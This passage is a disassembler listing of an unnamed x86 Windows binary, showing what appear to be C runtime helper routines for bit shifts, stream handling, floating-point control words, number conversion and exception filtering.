		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1EC74DE8h], dl
		add	ah, byte ptr dword_4DBB80[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB8035h, 0C73CE800h, 0C390021Eh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2610AB2h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
